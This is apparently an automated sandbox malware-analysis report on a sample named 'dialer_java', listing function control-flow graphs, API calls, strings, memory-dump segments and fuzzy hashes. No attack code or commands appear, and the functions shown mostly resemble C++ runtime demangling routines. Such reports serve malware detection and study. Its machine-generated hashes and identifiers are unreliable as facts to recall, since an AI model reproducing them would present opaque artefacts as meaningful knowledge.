                                  control_flow_graph 1638 7ff695dd7b80-7ff695dd7ba4 1639 7ff695dd7bad-7ff695dd7bb6 1638->1639 1640 7ff695dd7ba6-7ff695dd7ba8 1638->1640 1642 7ff695dd7bbc-7ff695dd7bc5 1639->1642 1643 7ff695dd7c77-7ff695dd7ca3 call 7ff695dd82a0 1639->1643 1641 7ff695dd808c-7ff695dd80a2 1640->1641 1644 7ff695dd7d10-7ff695dd7d32 call 7ff695dd82a0 call 7ff695dcba60 1642->1644 1645 7ff695dd7bcb-7ff695dd7bd4 1642->1645 1654 7ff695dd7ca5-7ff695dd7cb2 malloc 1643->1654 1655 7ff695dd7ccf-7ff695dd7cfa 1643->1655 1644->1640 1668 7ff695dd7d38-7ff695dd7d53 1644->1668 1648 7ff695dd7dc5-7ff695dd7e48 call 7ff695dd82a0 1645->1648 1649 7ff695dd7bda-7ff695dd7be3 1645->1649 1665 7ff695dd7e4a-7ff695dd7e58 1648->1665 1666 7ff695dd7eb7-7ff695dd7ed5 1648->1666 1649->1640 1652 7ff695dd7be5-7ff695dd7bf7 call 7ff695dd7b80 1649->1652 1652->1640 1669 7ff695dd7bf9-7ff695dd7c14 1652->1669 1660 7ff695dd80a3 call 7ff695dc2d30 1654->1660 1661 7ff695dd7cb8-7ff695dd7ccc 1654->1661 1656 7ff695dd7d01-7ff695dd7d0b 1655->1656 1656->1641 1667 7ff695dd80a8-7ff695dd80e1 _assert call 7ff695dd80f0 call 7ff695dc3f50 1660->1667 1661->1655 1671 7ff695dd7e5a-7ff695dd7e6f realloc 1665->1671 1672 7ff695dd7e76-7ff695dd7e81 malloc 1665->1672 1670 7ff695dd7f2a-7ff695dd7f31 1666->1670 1677 7ff695dd7d55-7ff695dd7d62 malloc 1668->1677 1678 7ff695dd7d7f-7ff695dd7dc0 1668->1678 1679 7ff695dd7c40-7ff695dd7c72 1669->1679 1680 7ff695dd7c16-7ff695dd7c23 malloc 1669->1680 1681 7ff695dd7f33-7ff695dd7f36 1670->1681 1682 7ff695dd7f38-7ff695dd7f46 call 7ff695dd7b80 1670->1682 1673 7ff695dd7ea4-7ff695dd7eb0 1671->1673 1674 7ff695dd7e71 1671->1674 1672->1660 1676 7ff695dd7e87-7ff695dd7e8d 1672->1676 1673->1666 1674->1660 1684 7ff695dd7e8f-7ff695dd7e98 memcpy 1676->1684 1685 7ff695dd7e9d 1676->1685 1677->1660 1686 7ff695dd7d68-7ff695dd7d7c 1677->1686 1678->1641 1679->1656 1680->1660 1687 7ff695dd7c29-7ff695dd7c3d 1680->1687 1681->1682 1688 7ff695dd7f9d-7ff695dd7fce call 7ff695dcd9a0 1681->1688 1695 7ff695dd7f4c-7ff695dd7f54 1682->1695 1696 7ff695dd8049-7ff695dd806b 1682->1696 1684->1685 1685->1673 1686->1678 1687->1679 1700 7ff695dd7fd0-7ff695dd7fdd malloc 1688->1700 1701 7ff695dd7ffa-7ff695dd8043 1688->1701 1697 7ff695dd7f1e-7ff695dd7f26 1695->1697 1698 7ff695dd7f56-7ff695dd7f67 1695->1698 1696->1667 1702 7ff695dd806d-7ff695dd8085 1696->1702 1697->1670 1703 7ff695dd7ee0-7ff695dd7eef realloc 1698->1703 1704 7ff695dd7f6d-7ff695dd7f78 malloc 1698->1704 1700->1660 1705 7ff695dd7fe3-7ff695dd7ff7 1700->1705 1701->1696 1702->1641 1706 7ff695dd8087 free 1702->1706 1703->1660 1708 7ff695dd7ef5-7ff695dd7f1a 1703->1708 1704->1660 1707 7ff695dd7f7e-7ff695dd7f84 1704->1707 1705->1701 1706->1641 1709 7ff695dd7f94-7ff695dd7f98 1707->1709 1710 7ff695dd7f86-7ff695dd7f8f memcpy 1707->1710 1708->1697 1709->1708 1710->1709
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: fflush$Unwind_assertabortmalloc
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$Parser->TemplateParams.size() >= OldNumTemplateParamLists$yptn
                                  • API String ID: 2460331008-2552725819
                                  • Opcode ID: 0c80bad6e972a27b6348764f3f0f3f2045ecc6d1aad5778c6820c893f99cd668
                                  • Instruction ID: a1beefc7c3624a6def82a1244ce9a0d42ab0eede5243b8196f2d6a043ab34782
                                  • Opcode Fuzzy Hash: 0c80bad6e972a27b6348764f3f0f3f2045ecc6d1aad5778c6820c893f99cd668
                                  • Instruction Fuzzy Hash: 18E1B132619B8285EA75CB11E4443BA77E8FB44F80F455276DA8D87B91DF3CE98AC304
                                  Function 00007FF695DD2DF3 Relevance: 25.6, APIs: 17, Instructions: 127COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1711 7ff695dd2df3-7ff695dd2e04 1712 7ff695dd2fd1 1711->1712 1713 7ff695dd2e0a-7ff695dd2e16 isxdigit 1711->1713 1714 7ff695dd2fd3-7ff695dd2fe2 1712->1714 1713->1712 1715 7ff695dd2e1c-7ff695dd2e28 isxdigit 1713->1715 1715->1712 1716 7ff695dd2e2e-7ff695dd2e3a isxdigit 1715->1716 1716->1712 1717 7ff695dd2e40-7ff695dd2e4c isxdigit 1716->1717 1717->1712 1718 7ff695dd2e52-7ff695dd2e5e isxdigit 1717->1718 1718->1712 1719 7ff695dd2e64-7ff695dd2e70 isxdigit 1718->1719 1719->1712 1720 7ff695dd2e76-7ff695dd2e82 isxdigit 1719->1720 1720->1712 1721 7ff695dd2e88-7ff695dd2e94 isxdigit 1720->1721 1721->1712 1722 7ff695dd2e9a-7ff695dd2ea6 isxdigit 1721->1722 1722->1712 1723 7ff695dd2eac-7ff695dd2eb8 isxdigit 1722->1723 1723->1712 1724 7ff695dd2ebe-7ff695dd2eca isxdigit 1723->1724 1724->1712 1725 7ff695dd2ed0-7ff695dd2edc isxdigit 1724->1725 1725->1712 1726 7ff695dd2ee2-7ff695dd2eee isxdigit 1725->1726 1726->1712 1727 7ff695dd2ef4-7ff695dd2f00 isxdigit 1726->1727 1727->1712 1728 7ff695dd2f06-7ff695dd2f12 isxdigit 1727->1728 1728->1712 1729 7ff695dd2f18-7ff695dd2f24 isxdigit 1728->1729 1729->1712 1730 7ff695dd2f2a-7ff695dd2f34 1729->1730 1730->1712 1731 7ff695dd2f3a-7ff695dd2f3d 1730->1731 1731->1712 1732 7ff695dd2f43-7ff695dd2f62 1731->1732 1733 7ff695dd2f64-7ff695dd2f71 malloc 1732->1733 1734 7ff695dd2f8e-7ff695dd2fcf 1732->1734 1735 7ff695dd3080-7ff695dd3085 call 7ff695dc2d30 1733->1735 1736 7ff695dd2f77-7ff695dd2f8b 1733->1736 1734->1712 1734->1714 1736->1734
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: isxdigit$malloc
                                  • String ID:
                                  • API String ID: 1399014089-0
                                  • Opcode ID: 7f82570470b9a3b9cecc052cb3018d2ab878e44e7211999c67834c7bc2493845
                                  • Instruction ID: ed1b596369864139b6395d367c960c586c15cc898d842b3b8cb536a60fef96e5
                                  • Opcode Fuzzy Hash: 7f82570470b9a3b9cecc052cb3018d2ab878e44e7211999c67834c7bc2493845
                                  • Instruction Fuzzy Hash: 5D519721608B8242E7794B31989033EA7E0EF41F45F0816B6CE5EC6D91DF2CEDA8D748
                                  Function 00007FF695DD82A0 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 243COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1739 7ff695dd82a0-7ff695dd82e0 1740 7ff695dd82e2-7ff695dd82ef malloc 1739->1740 1741 7ff695dd830d-7ff695dd8354 1739->1741 1742 7ff695dd82f5-7ff695dd830a 1740->1742 1743 7ff695dd8416-7ff695dd8433 call 7ff695dc2d30 1740->1743 1744 7ff695dd835a-7ff695dd8368 1741->1744 1745 7ff695dd83fc-7ff695dd8410 _assert 1741->1745 1742->1741 1752 7ff695dd8495-7ff695dd84ab 1743->1752 1753 7ff695dd8435-7ff695dd8438 1743->1753 1747 7ff695dd836a-7ff695dd8380 1744->1747 1748 7ff695dd83d7-7ff695dd83fb 1744->1748 1745->1743 1750 7ff695dd8382-7ff695dd8394 realloc 1747->1750 1751 7ff695dd8398-7ff695dd83a3 malloc 1747->1751 1754 7ff695dd83bf-7ff695dd83d2 1750->1754 1755 7ff695dd8396 1750->1755 1751->1743 1756 7ff695dd83a5-7ff695dd83ab 1751->1756 1759 7ff695dd84ad-7ff695dd84d0 realloc 1752->1759 1760 7ff695dd84d9-7ff695dd84e9 1752->1760 1757 7ff695dd843e-7ff695dd8440 1753->1757 1758 7ff695dd84eb-7ff695dd8501 1753->1758 1754->1748 1755->1743 1761 7ff695dd83bb 1756->1761 1762 7ff695dd83ad-7ff695dd83b6 memcpy 1756->1762 1766 7ff695dd853d-7ff695dd8542 1757->1766 1767 7ff695dd8446-7ff695dd845c 1757->1767 1764 7ff695dd8503-7ff695dd8526 realloc 1758->1764 1765 7ff695dd852f 1758->1765 1768 7ff695dd85f1-7ff695dd85f6 call 7ff695dc2d30 1759->1768 1769 7ff695dd84d6 1759->1769 1763 7ff695dd853a 1760->1763 1761->1754 1762->1761 1763->1766 1764->1768 1771 7ff695dd852c 1764->1771 1772 7ff695dd8535 1765->1772 1773 7ff695dd85e9-7ff695dd85f0 1766->1773 1774 7ff695dd8548-7ff695dd8556 1766->1774 1775 7ff695dd845e-7ff695dd8481 realloc 1767->1775 1776 7ff695dd848a-7ff695dd8490 1767->1776 1769->1760 1771->1765 1772->1763 1778 7ff695dd8560-7ff695dd8589 1774->1778 1775->1768 1779 7ff695dd8487 1775->1779 1776->1772 1778->1778 1780 7ff695dd858b-7ff695dd858e 1778->1780 1779->1776 1780->1773 1781 7ff695dd8590-7ff695dd85a4 1780->1781 1782 7ff695dd85cf-7ff695dd85e5 memcpy 1781->1782 1783 7ff695dd85a6-7ff695dd85c9 realloc 1781->1783 1782->1773 1783->1768 1784 7ff695dd85cb 1783->1784 1784->1782
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$mallocmemcpy$_assert
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$Last != First && "Calling back() on empty vector!"$yptn
                                  • API String ID: 3355138791-4068048850
                                  • Opcode ID: 4d44fd90ec9d97f9a4df74b2dd578239c104db6aa568a6ee0de0dbe9cbb52ee8
                                  • Instruction ID: e750ce2c01d25cc19d462207dd7c91c06323ea5dfc59b6c5439efcbbc7a4b598
                                  • Opcode Fuzzy Hash: 4d44fd90ec9d97f9a4df74b2dd578239c104db6aa568a6ee0de0dbe9cbb52ee8
                                  • Instruction Fuzzy Hash: 9891C272A05B8682EA36CB15E454679B3E5EB54BC0F449272DF4D87790EF3CEA49C304
                                  Function 00007FF695DDF790 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 311COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1785 7ff695ddf790-7ff695ddf7a7 1786 7ff695ddf7e2-7ff695ddf802 1785->1786 1787 7ff695ddf7a9-7ff695ddf7b1 1785->1787 1792 7ff695ddf804-7ff695ddf807 1786->1792 1793 7ff695ddf81d-7ff695ddf82f 1786->1793 1787->1786 1788 7ff695ddf7b3-7ff695ddf7b8 1787->1788 1788->1786 1789 7ff695ddf7ba-7ff695ddf7dc 1788->1789 1789->1786 1791 7ff695ddf959-7ff695ddf96f 1789->1791 1794 7ff695ddf971-7ff695ddf994 realloc 1791->1794 1795 7ff695ddf99d-7ff695ddf9b9 1791->1795 1796 7ff695ddf866-7ff695ddf875 1792->1796 1797 7ff695ddf809-7ff695ddf81b 1792->1797 1798 7ff695ddf85e-7ff695ddf862 1793->1798 1799 7ff695ddf831-7ff695ddf854 realloc 1793->1799 1800 7ff695ddfa4f-7ff695ddfa74 call 7ff695dc2d30 1794->1800 1804 7ff695ddf99a 1794->1804 1805 7ff695ddfa0e-7ff695ddfa1c 1795->1805 1806 7ff695ddf9bb-7ff695ddf9cd 1795->1806 1802 7ff695ddf8bb-7ff695ddf8cd 1796->1802 1803 7ff695ddf877-7ff695ddf87a 1796->1803 1797->1793 1797->1796 1798->1796 1799->1800 1801 7ff695ddf85a 1799->1801 1826 7ff695ddfaaf-7ff695ddfaba 1800->1826 1827 7ff695ddfa76-7ff695ddfa7e 1800->1827 1801->1798 1813 7ff695ddf8cf-7ff695ddf8f2 realloc 1802->1813 1814 7ff695ddf8fc-7ff695ddf900 1802->1814 1808 7ff695ddf87c-7ff695ddf88e 1803->1808 1809 7ff695ddf898-7ff695ddf89d 1803->1809 1804->1795 1815 7ff695ddfa1e-7ff695ddfa41 realloc 1805->1815 1816 7ff695ddfa46-7ff695ddfa4a 1805->1816 1810 7ff695ddf9cf-7ff695ddf9f2 realloc 1806->1810 1811 7ff695ddf9f7-7ff695ddfa0b memcpy 1806->1811 1808->1802 1832 7ff695ddf890-7ff695ddf894 1808->1832 1809->1802 1821 7ff695ddf89f-7ff695ddf8a5 1809->1821 1810->1800 1822 7ff695ddf9f4 1810->1822 1811->1805 1813->1800 1823 7ff695ddf8f8 1813->1823 1818 7ff695ddf904-7ff695ddf91a 1814->1818 1815->1800 1817 7ff695ddfa43 1815->1817 1819 7ff695ddf94c-7ff695ddf958 1816->1819 1817->1816 1824 7ff695ddf91c-7ff695ddf93f realloc 1818->1824 1825 7ff695ddf948 1818->1825 1821->1818 1829 7ff695ddf8a7-7ff695ddf8b9 1821->1829 1822->1811 1823->1814 1824->1800 1830 7ff695ddf945 1824->1830 1825->1819 1833 7ff695ddfb00-7ff695ddfb12 1826->1833 1834 7ff695ddfabc-7ff695ddfabf 1826->1834 1827->1826 1831 7ff695ddfa80-7ff695ddfa85 1827->1831 1829->1802 1829->1818 1830->1825 1831->1826 1837 7ff695ddfa87-7ff695ddfaa9 1831->1837 1832->1809 1835 7ff695ddfb14-7ff695ddfb37 realloc 1833->1835 1836 7ff695ddfb3d-7ff695ddfb41 1833->1836 1838 7ff695ddfac1-7ff695ddfad3 1834->1838 1839 7ff695ddfadd-7ff695ddfae2 1834->1839 1841 7ff695ddfb6b-7ff695ddfb70 call 7ff695dc2d30 1835->1841 1842 7ff695ddfb39 1835->1842 1843 7ff695ddfb45-7ff695ddfb5f 1836->1843 1837->1826 1844 7ff695ddfb63-7ff695ddfb6a 1837->1844 1838->1833 1850 7ff695ddfad5-7ff695ddfad9 1838->1850 1839->1833 1845 7ff695ddfae4-7ff695ddfaea 1839->1845 1842->1836 1843->1844 1845->1843 1846 7ff695ddfaec-7ff695ddfafe 1845->1846 1846->1833 1846->1843 1850->1839
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy
                                  • String ID: c_object$c_object$objc_obj$objc_obj
                                  • API String ID: 1833655766-1179801904
                                  • Opcode ID: 68cd87f9df8f5cfa69a5d2627882f52522deb85eface613025237f93cf7fe6bf
                                  • Instruction ID: 308925a8060b104dac8a1e3a0556b911ccc63a4274b71ec04b8b84ceee1308a6
                                  • Opcode Fuzzy Hash: 68cd87f9df8f5cfa69a5d2627882f52522deb85eface613025237f93cf7fe6bf
                                  • Instruction Fuzzy Hash: 9DC15DA6A05B8682EE34CF16E444279A7A1EB95FC0F149672CB8D87790DF3CE949C304
                                  Function 00007FF695DE7F20 Relevance: 21.2, APIs: 9, Strings: 5, Instructions: 206COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1852 7ff695de7f20-7ff695de7f8d memset 1853 7ff695de7f93-7ff695de7fd1 1852->1853 1854 7ff695de8191-7ff695de81b0 memset 1852->1854 1857 7ff695de7ff3-7ff695de8000 1853->1857 1855 7ff695de8362-7ff695de839d call 7ff695dc1370 1854->1855 1856 7ff695de81b6-7ff695de81bd 1854->1856 1860 7ff695de81bf-7ff695de81f2 1855->1860 1873 7ff695de83a3 1855->1873 1856->1860 1861 7ff695de81f9-7ff695de82f8 wcscpy wcscat wcslen call 7ff695dc1422 1856->1861 1858 7ff695de8002-7ff695de8008 1857->1858 1859 7ff695de800a-7ff695de8021 memset 1857->1859 1858->1859 1863 7ff695de7fe0 1858->1863 1864 7ff695de814b-7ff695de8186 call 7ff695dc1370 1859->1864 1865 7ff695de8027-7ff695de802e 1859->1865 1860->1861 1875 7ff695de8335-7ff695de8361 1861->1875 1876 7ff695de82fa-7ff695de8330 call 7ff695dc1431 call 7ff695dc145e 1861->1876 1868 7ff695de7fe6-7ff695de7fed 1863->1868 1870 7ff695de8030-7ff695de805c 1864->1870 1878 7ff695de818c 1864->1878 1869 7ff695de8063-7ff695de812e wcscpy wcscat wcslen call 7ff695dc1422 1865->1869 1865->1870 1868->1854 1868->1857 1881 7ff695de8130-7ff695de8135 call 7ff695dc145e 1869->1881 1882 7ff695de813a-7ff695de8143 1869->1882 1870->1869 1873->1861 1876->1875 1878->1869 1881->1882 1882->1868 1886 7ff695de8149 1882->1886 1886->1854
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: memset$wcscatwcscpywcslen
                                  • String ID: $0$0$@$@
                                  • API String ID: 4263182637-1413854666
                                  • Opcode ID: cdbdf97fc269be1a0d164d62ed342f19875fa9a7fd4d8a48898fd4e855d17c00
                                  • Instruction ID: 72bc090ac1eb5e7ed17edaa24811ff47334028136afb66259b51abc3c670c7e3
                                  • Opcode Fuzzy Hash: cdbdf97fc269be1a0d164d62ed342f19875fa9a7fd4d8a48898fd4e855d17c00
                                  • Instruction Fuzzy Hash: F5B18F2191C6C285E7318B24F9053BAB7E0FF84B44F402275EA8D966A5DF7ED94E8B04
                                  Function 00007FF695DDCA90 Relevance: 19.7, APIs: 10, Strings: 1, Instructions: 417COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: malloc$memcpy
                                  • String ID: noexcept
                                  • API String ID: 3800483350-1409219070
                                  • Opcode ID: 23c07888132c1ba9a5abca388b04d8f54e5c1515e0ee32ea7d1c2d187f81c89b
                                  • Instruction ID: 89ce8ebbeda5ea5bb33b5c06c40e97ef940e291ac7c4c20ce5b276e2019c6a1f
                                  • Opcode Fuzzy Hash: 23c07888132c1ba9a5abca388b04d8f54e5c1515e0ee32ea7d1c2d187f81c89b
                                  • Instruction Fuzzy Hash: 9D02D37260AB8585EE708B15E44437977E4EB44F80F445276DB8E87BA1DF3CE899C708
                                  Function 00007FF695DE7260 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 318COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: wcslen$memsetwcscatwcscpywcsncmp
                                  • String ID: 0$X$`
                                  • API String ID: 329590056-2527496196
                                  • Opcode ID: 45aed35eb9f863044d84302e0661416d15cae368e09a4d5212cccfba54d1e7ac
                                  • Instruction ID: 163f0bfcb96e79a8c545ec6d784bf94764193493770348701d2b5d0f3d66aaf9
                                  • Opcode Fuzzy Hash: 45aed35eb9f863044d84302e0661416d15cae368e09a4d5212cccfba54d1e7ac
                                  • Instruction Fuzzy Hash: 2E029822A18BC281E7708B18E9003BAB7A0FB85B54F005379DA9D877A5DF7DE94DC704
                                  Function 00007FF695DDE230 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 266COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: restric$ volatil
                                  • API String ID: 471065373-3617781792
                                  • Opcode ID: 04e3ec345cb3c778bbf34f95bdb079c4d89fbdfe26ba5954cde4d1f3c9909d39
                                  • Instruction ID: e93eb9d652fcb392e2369077654147b9b48b976afce3d3e5cd745305bccca73b
                                  • Opcode Fuzzy Hash: 04e3ec345cb3c778bbf34f95bdb079c4d89fbdfe26ba5954cde4d1f3c9909d39
                                  • Instruction Fuzzy Hash: 2DB151B2A06F8682DA298F46F55427DB3A1EB54FC0F409572CB9E477A0EF3CE9558304
                                  Function 00007FF695DD9ED0 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 256COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: realloc$mallocmemcpy
                                  • String ID: at offs$set
                                  • API String ID: 1059646398-2369781007
                                  • Opcode ID: ce501ce98fd795f4a36eda83ed67996a915afdf4059a98f1c7426f5b765f9e9f
                                  • Instruction ID: 82efa1bac441fc517232ba7a55444e27c011f4bfa65e7995a0e5d7a7fee58f81
                                  • Opcode Fuzzy Hash: ce501ce98fd795f4a36eda83ed67996a915afdf4059a98f1c7426f5b765f9e9f
                                  • Instruction Fuzzy Hash: EDA1B4B2A05B8682EF398F16E4403A9A3A5EB54FC4F44D272CB8D47794EF3CD9858304
                                  Function 00007FF695DC6830 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 239COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1919425166.00007FF695DC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF695DC0000, based on PE: true
                                  • Associated: 0000000F.00000002.1919413370.00007FF695DC0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919444125.00007FF695DE9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919461643.00007FF695DF3000.00000004.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919532180.00007FF695EEF000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  • Associated: 0000000F.00000002.1919546525.00007FF695EF3000.00000002.00000001.01000000.00000004.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_7ff695dc0000_dialer_java.jbxd
                                  Similarity
                                  • API ID: fputwc$memset
                                  • String ID: o$o$o$o$o$o
                                  • API String ID: 822753988-2858737866
